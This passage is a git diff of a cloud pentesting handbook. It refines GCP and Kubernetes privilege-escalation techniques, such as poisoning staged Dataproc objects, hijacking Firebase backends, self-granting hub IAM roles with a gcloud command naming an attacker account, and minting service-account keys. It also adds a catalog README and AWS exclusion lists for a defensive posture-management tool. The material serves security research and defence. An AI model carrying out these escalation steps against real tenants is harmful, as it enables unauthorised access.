requires `storage.objects.create`; replacing an existing staged JAR/script additionally requires `storage.objects.delete`.[[18]](#references)[[29]](#references) +An exact `config.initializationActions[].executableFile` reference is a separate code path. Google documents that new nodes run these actions during scaling. If the referenced object is live, replacing it requires create and delete on that **same object**, and an active hold or retention period can block replacement. If that exact object was deleted, create can restore it. The cluster VM service account must be able to read the resulting object, and a later node addition is still needed. Writing an unrelated object to the staging bucket does not execute code by itself. + **Minimum permissions**: `dataproc.clusters.get` for configuration discovery; `storage.objects.get`/`.list` for retained output and dependencies; `storage.objects.create` to plant a new object; and both `storage.objects.create` + `.delete` to replace an existing object. -**Potential Impact:** credential & config harvesting plus a poisoning foothold that turns into code-exec as the cluster SA on the next job run.[[16]](#references) +**Potential Impact:** credential and configuration exposure. Replacing a job dependency can affect a later job that loads that exact object; controlling a referenced initialization action can run code on a node added to the cluster later.[[16]](#references) **Stealth:** High. `GetCluster` is `ADMIN_READ`, while GCS object reads and writes are Data Access; neither service writes these logs under its default audit configuration. A later victim-submitted job can expose execution/output, but it need not attribute the earlier bucket mutation to the attacker. [[17]](#references)[[28]](#references) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md index 441e6cc4b8..9a7c0a0c86 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md @@ -15,6 +15,8 @@ For more information about Deployment Manager access: Deployment Manager is a legacy infrastructure deployment service. Support ended on April 1, 2026, but Google says the V2 API remains available to existing customers until June 30, 2027. Starting June 30, 2026, new users cannot enable the API or create their first deployment. The technique below therefore applies only where the service remains usable.[[1]](#references) +For a current create path, check that the API is enabled and that the project has a prior deployment. An empty deployment list does not establish that the project never used the service, so that case needs more evidence. The Google APIs Service Agent's current IAM bindings determine what the deployment can actually create; its former default Editor grant should not be assumed. + For deployment manifests and embedded configuration, see: {{#ref}} @@ -74,7 +76,7 @@ gcloud deployment-manager deployments create "$DEPLOYMENT" \ --async ``` -`deploymentmanager.deployments.update` reaches the same deputy through an existing deployment. A raw update request can use a known current fingerprint without a preliminary read. The current `gcloud` helper still fetches the deployment before and after the update—even when `--fingerprint` and `--async` are supplied—so its permission footprint is broader. Preserve the deployment's existing resources in the replacement configuration; omitting them can modify or delete legitimate infrastructure.[[6]](#references) +`deploymentmanager.deployments.update` reaches the same deputy through an existing deployment. A raw update request can use a known current fingerprint without a preliminary read. The current `gcloud` helper still fetches the deployment before and after the update—even when `--fingerprint` and `--async` are supplied—so its permission footprint is broader. A replacement configuration that omits existing resources may otherwise delete them; the update API's `deletePolicy=ABANDON` can leave those resources running while removing them from Deployment Manager's control.[[6]](#references) ```bash FINGERPRINT="KNOWN_CURRENT_FINGERPRINT" diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md index 9c3c4151cd..13f5b7b2a6 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md @@ -56,7 +56,9 @@ The Firebase rows use the exact current REST method identifiers published by the ### Backend hijack — repoint source or runtime identity -`backends.update` can change the connected source repository/branch or the runtime service account of an existing backend, so future builds pull attacker-controlled code and/or run as a chosen identity. Combined with automatic rollouts on push, this turns the backend into a self-refreshing foothold that survives deletion of any single malicious rollout. +`backends.update` can change the connected source repository or the runtime service account of an existing backend, so future builds may pull attacker-controlled code and/or run as a chosen identity. Combined with automatic rollouts on push, this can turn the backend into a self-refreshing foothold that survives deletion of any single malicious rollout. + +The Backend REST `codebase` field names a Developer Connect repository link and optional root directory. It does not expose the live branch or automatic-rollout setting. A source-only escalation therefore needs manual confirmation that the replacement repository link is accepted, the attacker controls the live branch, automatic rollouts are enabled, the pushed files pass any rollout path filters, and the resulting build runs under the backend's service account. `backends.update` alone does not establish those facts. A caller with `builds.create` and `rollouts.create` on an existing backend has a separate deployment path described above. **Potential Impact:** Persistent, self-renewing control of the backend's code and identity, independent of a specific rollout. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md index 41be774bc3..5587c32edc 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md @@ -47,6 +47,8 @@ This does not grant Google Cloud IAM roles. It compromises the Firebase/Identity **Potential Impact:** application-account takeover and elevation to any role enforced through Firebase custom claims or mutable account attributes, bounded by the application's authorization logic. +An application-identity takeover requires an accepted change to a usable account, a later sign-in as that exact user, and a check that the signed-in account can perform an action the caller previously could not. Permission to update users alone does not establish that chain, so verify it manually. + **Stealth:** **High** — user reads and mutations are Identity Platform Data Access events, which are not written by default; password sign-in itself is explicitly listed as producing no audit log.
@@ -143,6 +145,8 @@ The function can return `sessionClaims` such as `{"admin": true}` for the curren **Potential Impact:** project-wide injection of privileged claims into subsequent supported sign-ins and conditional interception of federated IdP credentials. +An IdP identity takeover requires a later supported federated sign-in to send a usable credential to the controlled function and a separate check that the credential grants access the caller lacked. A project configuration change alone does not establish that chain, so verify it manually. + **Stealth:** **Medium** — the configuration change is always logged, but Identity Platform sign-in methods generally produce no audit event and the returned session claims need not persist in the user record.
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md index f90b534df4..52acf9c507 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md @@ -12,15 +12,15 @@ For more information about VPC & Networking access: ## Resource IAM self-grants -An **NCC hub also exposes its own resource-level IAM policy**, so `networkconnectivity.hubs.setIamPolicy` on a hub is a self-grant lever: a holder can grant themselves (or any principal) `roles/networkconnectivity.hubAdmin` **on that hub** and gain spoke-attachment / hub control without the project-level role. +An **NCC hub exposes its own IAM policy**. Google documents granting `roles/networkconnectivity.groupUser` on a hub to allow use of its group for spoke attachment. Do not assume a hub-level policy write can grant `roles/networkconnectivity.hubAdmin` or `networkconnectivity.hubs.update`: the [IAM role reference](https://cloud.google.com/iam/docs/roles-permissions/networkconnectivity) lists **Project** as the lowest grantable resource for `hubAdmin`. Claim hub update access from a hub-level binding only after an accepted mutation and an effective permission test. ```bash gcloud network-connectivity hubs add-iam-policy-binding \ - --member="user:attacker@example.com" --role="roles/networkconnectivity.hubAdmin" + --member="user:attacker@example.com" --role="roles/networkconnectivity.groupUser" ``` > [!TIP] -> A hub IAM policy can start empty; `add-iam-policy-binding` **adds the attacker → `roles/networkconnectivity.hubAdmin`** binding at the hub scope. `networkconnectivity.hubs.setIamPolicy`/`.getIamPolicy` are in both `roles/networkconnectivity.hubAdmin` and `roles/networkconnectivity.admin`. **Operational constraint:** a hub **cannot be deleted while a spoke is still attached** (`HUB_NESTED_RESOURCES` — delete the spoke first); spoke deletion is the top-level `gcloud network-connectivity spokes delete`, **not** under the `spokes linked-vpc-network` subgroup. +> A hub IAM policy can start empty. The [hub access guide](https://cloud.google.com/network-connectivity/docs/network-connectivity-center/how-to/vpc-give-access) shows `groupUser` on the hub. `networkconnectivity.hubs.setIamPolicy`/`.getIamPolicy` are in both `roles/networkconnectivity.hubAdmin` and `roles/networkconnectivity.admin`. **Operational constraint:** a hub **cannot be deleted while a spoke is still attached** (`HUB_NESTED_RESOURCES` — delete the spoke first); spoke deletion is the top-level `gcloud network-connectivity spokes delete`, **not** under the `spokes linked-vpc-network` subgroup. **`networkconnectivity.groups.setIamPolicy` — group-scoped self-grant of the spoke-attach / cross-project-accept gate.** Beyond the hub, each hub's auto-created **group** (`default`) exposes its **own** resource-level IAM policy (`gcloud network-connectivity hubs groups get-iam-policy|set-iam-policy|add-iam-policy-binding --hub=`). Because the group is where `groups.use` (attach a spoke) and `groups.acceptSpoke`/`rejectSpoke` (cross-project acceptance) actually live, `groups.setIamPolicy` on a group is a **finer-grained self-grant than the hub-level one**: the holder can grant themselves `roles/networkconnectivity.groupUser` (→ `groups.use`, the exact perm `spokeAdmin` lacks) or `roles/networkconnectivity.groupAdmin` (→ `groups.use` + `groups.acceptSpoke`/`acceptSpokeUpdate`/`rejectSpoke` + `groups.setIamPolicy`) **scoped to that single group**, obtaining the spoke-attach + cross-project-graft gate without any hub-level role. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md index ab2e960c18..9a58ce63e6 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md @@ -41,7 +41,7 @@ gcloud compute os-config patch-deployments create "" \ `roles/osconfig.patchJobExecutor` contains the one-shot permission. The separate GA `roles/osconfig.patchDeploymentAdmin` contains patch-deployment create/update permissions. Although that role also contains `osconfig.patchDeployments.execute`, the current public v1 REST and GA `gcloud` surfaces do not expose a manual execute method, so that permission is not presented as a separate primitive. -**Minimum permissions and prerequisites:** `osconfig.patchJobs.exec` for the one-shot request; `osconfig.patchDeployments.create` for a new schedule; or `osconfig.patchDeployments.update` on an existing deployment. OS Config and VM Manager's full patch/config feature set must be enabled, and the project service agent must hold `roles/osconfig.serviceAgent`. Each same-project target must be running, patch-supported, have an active OS Config agent, have an attached service account, and be able to reach the OS Config service. The patch feature must not be disabled. A Cloud Storage step adds an independent artifact prerequisite: the exact generation must exist and be readable by the target VM. For a private object, the attached VM service account needs `storage.objects.get` and a compatible OAuth scope; alternatively, an already-controlled local path or legitimately public object avoids that private-object grant. A single patch job targets at most 500 VMs, and managed-instance-group VMs require the explicit MIG option. +**Minimum permissions and prerequisites:** `osconfig.patchJobs.exec` for the one-shot request; `osconfig.patchDeployments.create` for a new schedule; or `osconfig.patchDeployments.update` on an existing deployment. OS Config and VM Manager's full patch/config feature set must be enabled. Patch creates its project service agent with `roles/osconfig.serviceAgent` when first used; if that role was later revoked, patch jobs can fail. Each same-project target must be running, patch-supported, have an active OS Config agent, have an attached service account, and be able to reach the OS Config service. The patch feature must not be disabled. A Cloud Storage step adds an independent artifact prerequisite: the exact generation must exist and be readable by the target VM. For a private object, the attached VM service account needs `storage.objects.get` and a compatible OAuth scope; alternatively, an already-controlled local path or legitimately public object avoids that private-object grant. A single patch job targets at most 500 VMs, and managed-instance-group VMs require the explicit MIG option. **Potential Impact:** Execute with the OS privileges of the OS Config agent on each successfully targeted VM—normally `root` on standard Linux images or `LocalSystem` on standard Windows images. This can expose local secrets and the attached workload identity. It does not bypass inactive agents, unsupported operating systems, artifact-read failures, instance filters, service-account IAM, or VM access scopes. A scheduled deployment can repeat the execution, but only in the deployment's project and filter. @@ -103,9 +103,9 @@ gcloud compute os-config os-policy-assignments create "${ASSIGNMENT_ID}" \ --async ``` -`roles/osconfig.osPolicyAssignmentAdmin` can create or update assignments. `roles/osconfig.osPolicyAssignmentEditor` cannot create one, but its update permission is sufficient to replace a known existing assignment with a malicious revision. +`roles/osconfig.osPolicyAssignmentAdmin` can create or update assignments. `roles/osconfig.osPolicyAssignmentEditor` grants update but not create. The v1 `patch` method accepts `allowMissing=true`: if the named assignment does not exist, the method creates it, and its documented IAM check is `osconfig.osPolicyAssignments.update` on that name. A conditioned grant still has to match the chosen assignment name. -**Minimum permissions and prerequisites:** `osconfig.osPolicyAssignments.create` for a new assignment or `osconfig.osPolicyAssignments.update` on an existing one. VM Manager's full patch/config feature set must be enabled, and matching VMs in that assignment's single zone must have a running, activated OS Config agent, an attached service account, service connectivity, and a compatible OS/resource group. The inline example only matches Linux; Windows execution requires a `POWERSHELL` resource group. No `iam.serviceAccounts.actAs`, SSH, OS Login, Compute metadata permission, or artifact-bucket permission is part of the assignment request. +**Minimum permissions and prerequisites:** `osconfig.osPolicyAssignments.create` for a new assignment, or `osconfig.osPolicyAssignments.update` on a named existing assignment or a new name through `patch` with `allowMissing=true`. VM Manager's full patch/config feature set must be enabled, and matching VMs in that assignment's single zone must have a running, activated OS Config agent, an attached service account, service connectivity, and a compatible OS/resource group. The inline example only matches Linux; Windows execution requires a `POWERSHELL` resource group. No `iam.serviceAccounts.actAs`, SSH, OS Login, Compute metadata permission, or artifact-bucket permission is part of the assignment request. **Potential Impact:** Privileged command execution on matching VMs in one zone, normally as `root`/`LocalSystem` on standard agent installations. An enforcement assignment is also durable desired state and can reapply after drift or to later-matching VMs. The boundary is the assignment zone/filter and active-agent population; access through an attached service account remains bounded by its IAM grants and VM scopes. @@ -236,6 +236,7 @@ protoPayload.methodName="google.cloud.osconfig.v2.PolicyOrchestratorService.Crea - [Create patch jobs and patch-step requirements](https://docs.cloud.google.com/compute/vm-manager/docs/patch/create-patch-job) - [OS policy and OS policy assignment](https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/working-with-os-policies) - [Create an OS policy assignment](https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/create-os-policy-assignment) +- [OS policy assignment patch and `allowMissing`](https://docs.cloud.google.com/compute/docs/osconfig/rest/v1/projects.locations.osPolicyAssignments/patch) - [Create a legacy guest policy](https://docs.cloud.google.com/compute/vm-manager/docs/guest-policies/create-guest-policy) - [Compare GA OS policies and legacy guest policies](https://docs.cloud.google.com/compute/vm-manager/docs/guest-policies/comparing_policy_options) - [About policy orchestrator](https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/about-policy-orchestrator) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md b/src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md index 790c0ad581..4a01fd6d40 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md @@ -4,6 +4,10 @@ This page groups existing RBAC-abuse techniques by the Kubernetes permission boundary they cross. For discovery and effective-permission checks, use [the matching enumeration page](../kubernetes-enumeration/controller-and-admission-objects.md) and [the enumeration hub](../kubernetes-enumeration.md#get-my-current-permissions). The [privilege escalation hub](./) maps the other permission families. Run mutation examples only in an authorized lab and check admission and the target identity before claiming impact. +## Config Connector service account keys + +An in-cluster ServiceAccount with `create` on `iamserviceaccountkeys.iam.cnrm.cloud.google.com` in a namespace watched by Config Connector can ask the controller to create a key for a Google service account. The caller can read the generated Secret or key-resource status when its RBAC allows it. It can also supply an X.509 public key whose private key it already holds; that route does not need Secret read. The controller's configured Google service account needs key-creation and lifecycle rights on the exact target account, and the matching key-creation or key-upload organization policy must allow the request. Admission, a conflicting resource name, and reconciliation can still block it. See the [Config Connector key technique](../../gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kcc-iamserviceaccountkey-plus-secret-read--mint-a-long-lived-key-for-a-more-privileged-service-account) for the resource fields and Google Cloud prerequisites. + ## Operator custom-resource confused deputy The SiteBuild example proves controller-created code execution, but does not identify a gained principal or permission. See [operator custom-resource execution](../kubernetes-post-exploitation/controller-data-and-network-effects.md#operator-custom-resource-confused-deputy). An exact identity or permission gain needs separate runtime evidence. diff --git a/src/privilege-escalation-paths-cspm-reviewed/README.md b/src/privilege-escalation-paths-cspm-reviewed/README.md new file mode 100644 index 0000000000..35f7f8e898 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/README.md @@ -0,0 +1,53 @@ +# Reviewed privilege escalation paths for CSPM + +{{#include ../banners/hacktricks-training.md}} + +This directory is the reviewed machine-readable technique set consumed by [Blue-CloudPEASS](https://github.com/peass-ng/PEASSo-CSPM). It is separate from the broader `src/privilege-escalation-paths` research catalog so new research stays available without creating unreviewed CSPM checks. Each active entry links to its HackTricks source page. Consumers fetch and validate this reviewed set weekly. + +## Layout + +There is one directory per platform and one YAML file per service, mirroring the HackTricks privilege-escalation pages: `aws/`, `gcp/`, `azure/` (including Entra ID) and `k8s/` (Kubernetes and OpenShift). For example `gcp/iam.yaml` holds the techniques documented in `gcp-iam-privesc.md`. One file per service keeps reviews small, avoids merge conflicts between contributors, and lets a page and its catalog file be updated in the same pull request. + +- `.yaml` is a YAML list of technique entries. +- `_excluded*.yaml` lists HackTricks techniques that were reviewed and intentionally not modelled as principal-to-principal edges (`source`, `technique`, `reason`), so reviewers can tell "not modelled" from "missed". +- `_todo.yaml` holds commented-out notes for techniques still being written. +- Comments are preserved verbatim by the consumers; use them for per-file modelling conventions. + +## Entry format + +The authoritative validator is `peaso/privesc/schema.py` in Blue-CloudPEASS; its JSON Schema is published next to this file as [`privesc-technique.schema.json`](privesc-technique.schema.json) for editor completion and quick checks. + +| Field | Required | Meaning | +| --- | --- | --- | +| `id` | yes | Unique kebab-case id prefixed by the provider (`aws-`, `gcp-`, `azure-`/`entra-`, `k8s-`). Never reuse or rename an id. | +| `provider` | yes | `aws`, `gcp`, `azure` or `k8s`; must match the directory. | +| `service` | yes | Service the technique abuses (usually the file name). | +| `title` | yes | Short description of the escalation. | +| `source` | yes | HackTricks Cloud page and heading anchor, `src/...md#anchor`. The page and anchor must exist. | +| `source_revision` | no | Book revision the source was verified against. | +| `summary` | yes | One or two sentences: what the source gains. No commands or how-to steps. | +| `requires` | yes | `all_of` (every requirement) and/or `any_of` (list of alternative requirement lists). Each requirement names an `action` (permission) and the `resource` it must cover, using placeholders such as `{target.arn}` or `{target.email}`. | +| `target` | yes | `kind` of the principal or entity gained, optional `selector` limiting candidate targets, `scope` and `aggregate_as` label. | +| `severity` | yes | `critical`, `high`, `medium`, `low` or `info`. | +| `mitigation` | yes | How defenders remove or constrain the path. | +| `confidence` | no | `derived`, `conditional` or `unknown`. | +| `conditions` | no | Facts the snapshot cannot prove (each with `id` and `description`); they make an edge conditional. | +| `blockers` | no | Controls that remove the edge when present (SCPs, deny policies, admission policies...). | +| `preconditions`, `source_kind`, `source_selector`, `pivot_resource_type` | no | Advanced modelling fields; see the schema. | +| `references`, `notes` | no | Extra URLs and reviewer notes. | + +Unknown fields, unknown selector keys, unsupported target kinds or placeholders, and shell commands in prose are rejected (or flagged) because the evaluator would not understand them. + +## Contributing + +1. Document the technique on its HackTricks page first, under its own heading, and use that heading anchor as `source`. +2. Add or update the entry in `/.yaml` (create the file if the service has none yet). +3. Validate with a Blue-CloudPEASS checkout and PyYAML installed: + `python /path/to/Blue-CloudPEASS/scripts/sync_hacktricks_privesc.py --book-root . --validate-only` +4. Open a pull request. Removing an entry or changing its `id` needs a reviewed ledger entry in the consumer, so prefer fixing an entry over deleting it, and explain removals in the pull request. + +## Synchronization + +Every Monday Blue-CloudPEASS checks out the current `master` of this book, validates this directory, and compares SHA-256 hashes with the manifest recorded at its previous sync (`risk_rules/hacktricks-privesc-source.json`). Files changed only here are copied byte for byte; files changed only in the consumer are kept until they are upstreamed; files changed on both sides fail the sync for a human to resolve. Entries are never dropped from the consumer unless a reviewed ledger accepts the removal. Unrelated book commits produce no consumer commit. + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g1.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g1.yaml new file mode 100644 index 0000000000..4034db2a16 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g1.yaml @@ -0,0 +1,33 @@ +# AWS G1 review at 171e422299 (identity/org/billing pages): headings intentionally NOT modelled as privesc edges. +# Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#no-direct-iam-role-escalation-primitive + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#no-direct-iam-role-escalation-primitive + technique: "Invoicing and Billing has no role-escalation primitive" + reason: "Not a privesc: the page states the Invoicing and Billing APIs take no execution role, need no iam:PassRole and return no AWS credentials; their effects are financial-data disclosure and billing changes." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#turn-cost-view-administration-into-cross-account-disclosure + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#turn-cost-view-administration-into-cross-account-disclosure + technique: "Share a custom Billing view through AWS RAM" + reason: "Not a privesc: cross-account disclosure of cost-and-usage data; the recipient gains no role or IAM authority and must accept a RAM invitation." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#enable-previously-granted-legacy-billing-permissions + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#enable-previously-granted-legacy-billing-permissions + technique: "billing:UpdateIAMAccessPreference" + reason: "Not a privesc: activates Billing permissions that identities already hold in IAM (invoice, credit, payment and preference access); it grants no new policy and no IAM or role authority." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#abuse-invoice-receiver-delegation + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#abuse-invoice-receiver-delegation + technique: "invoicing:CreateInvoiceUnit receiver delegation" + reason: "Not a privesc: lets an eligible member account download the unit's invoice documents; it grants no access to other AWS APIs or payer-account resources." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#the-billing-service-linked-role-is-not-a-general-escalation-target + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#the-billing-service-linked-role-is-not-a-general-escalation-target + technique: "AWSServiceRoleForBilling" + reason: "Not a privesc: the service-linked role only allows billing:GetBillingViewData, is trusted only by billing.amazonaws.com and cannot be edited or attached to other identities." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#related-actions-that-amplify-business-impact-not-iam-authority + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#related-actions-that-amplify-business-impact-not-iam-authority + technique: "billing:PutResourcePolicy, billing:UseSourceView, invoicing:GetInvoicePDF, invoicing:GetProcurementPortalPreference, billing:UpdateBillingPreferences" + reason: "Not a privesc: the page lists these as financial or governance impact (billing-view sharing, invoice URLs, a procurement-integration secret, credit allocation), not IAM authority." + source_revision: fd7d56b0a9 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g7.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g7.yaml new file mode 100644 index 0000000000..6a98a59da5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_171e_g7.yaml @@ -0,0 +1,87 @@ +# G7 heading-level exclusions verified against hacktricks-cloud 171e422299. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#invoke-a-privileged-flow-without-direct-lambda-or-lex-permission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#invoke-a-privileged-flow-without-direct-lambda-or-lex-permission + technique: connect:StartChatContact against a privileged contact flow + reason: "App-plane only: the flow invokes its Lambda/Lex integrations under their own roles and returns only what the flow logic exposes; the page states it does not grant arbitrary use of the Lambda role." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-customer-profiles-post-exploitation/README.md#createintegrationworkflow--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-customer-profiles-privesc/README.md#createintegrationworkflow--iampassrole + technique: profile:CreateIntegrationWorkflow + iam:PassRole + reason: "Not a privesc: bounded service delegation; Customer Profiles uses the passed role only to create AppFlow-backed integration resources, with no credentials or arbitrary actions under the role." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-customer-profiles-post-exploitation/README.md#createsegmentsnapshot--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-customer-profiles-privesc/README.md#createsegmentsnapshot--iampassrole + technique: profile:CreateSegmentSnapshot + iam:PassRole + reason: "Not a privesc: bounded data delivery; the passed role only writes the segment export to the chosen S3 destination (data exfiltration, not principal escalation)." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-customer-profiles-post-exploitation/README.md#associatestreamforsegments--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-customer-profiles-privesc/README.md#associatestreamforsegments--iampassrole + technique: profile:AssociateStreamForSegments + iam:PassRole + reason: "Not a privesc: bounded data delivery; the passed role only puts segment-membership records into the chosen Kinesis stream." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-twinmaker-post-exploitation/README.md#connector-invocation-without-direct-lambda-permission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-twinmaker-privesc/README.md#connector-invocation-without-direct-lambda-permission + technique: iottwinmaker:CreateComponentType + CreateEntity / GetPropertyValue + reason: "App-plane only: TwinMaker invokes the nominated Lambda connector, which runs with its own execution role and exposes only what its code returns; the page states no generic role credentials are obtained." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-twinmaker-post-exploitation/README.md#updateworkspace--iampassrole--connector-control + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-twinmaker-privesc/README.md#updateworkspace--iampassrole--connector-control + technique: iottwinmaker:UpdateWorkspace + iam:PassRole + reason: "Not a privesc: bounded service delegation; the workspace role is used only for connector invocation and supported data sources, and the page states changing it does not expose its credentials." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivscreatestreamkey-on-stream-key---publish-to-another-channel + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivscreatestreamkey-on-stream-key---publish-to-another-channel + technique: ivs:CreateStreamKey + reason: "App-plane only: a stream key is a media-plane publishing credential for a channel, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivsgetstreamkey-or-ivsgetingestconfiguration---convert-a-read-into-publishing-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivsgetstreamkey-or-ivsgetingestconfiguration---convert-a-read-into-publishing-access + technique: ivs:GetStreamKey / ivs:GetIngestConfiguration + reason: "App-plane only: disclosure of a media-plane publishing credential, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivscreateparticipanttoken---mint-stage-publishsubscribe-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivscreateparticipanttoken---mint-stage-publishsubscribe-access + technique: ivs:CreateParticipantToken + reason: "App-plane only: stage participant tokens grant media publish/subscribe, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivsimportpublickey---sign-tokens-for-stages-account-wide + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivsimportpublickey---sign-tokens-for-stages-account-wide + technique: ivs:ImportPublicKey + reason: "App-plane only: lets the caller sign stage participant tokens offline; media-plane access, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivsimportplaybackkeypair---bypass-private-channel-playback-decisions + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivsimportplaybackkeypair---bypass-private-channel-playback-decisions + technique: ivs:ImportPlaybackKeyPair + reason: "App-plane only: private-channel playback authorization tokens, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivsstartcomposition---send-a-stage-to-an-unauthorized-channel + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivsstartcomposition---send-a-stage-to-an-unauthorized-channel + technique: ivs:StartComposition + reason: "App-plane only: routes stage media to a channel; content injection, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lex-v2-post-exploitation/README.md#lexcreatebotlexupdatebot--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lex-v2-privesc/README.md#lexcreatebotlexupdatebot--iampassrole + technique: lex:CreateBot / lex:UpdateBot + iam:PassRole + reason: "Not a privesc: bounded service delegation; the bot role is used by Lex only for configured features (Lambda hooks, Kendra queries, logs), and the page states passing it does not return credentials." + source_revision: fd7d56b0a9 +- source: 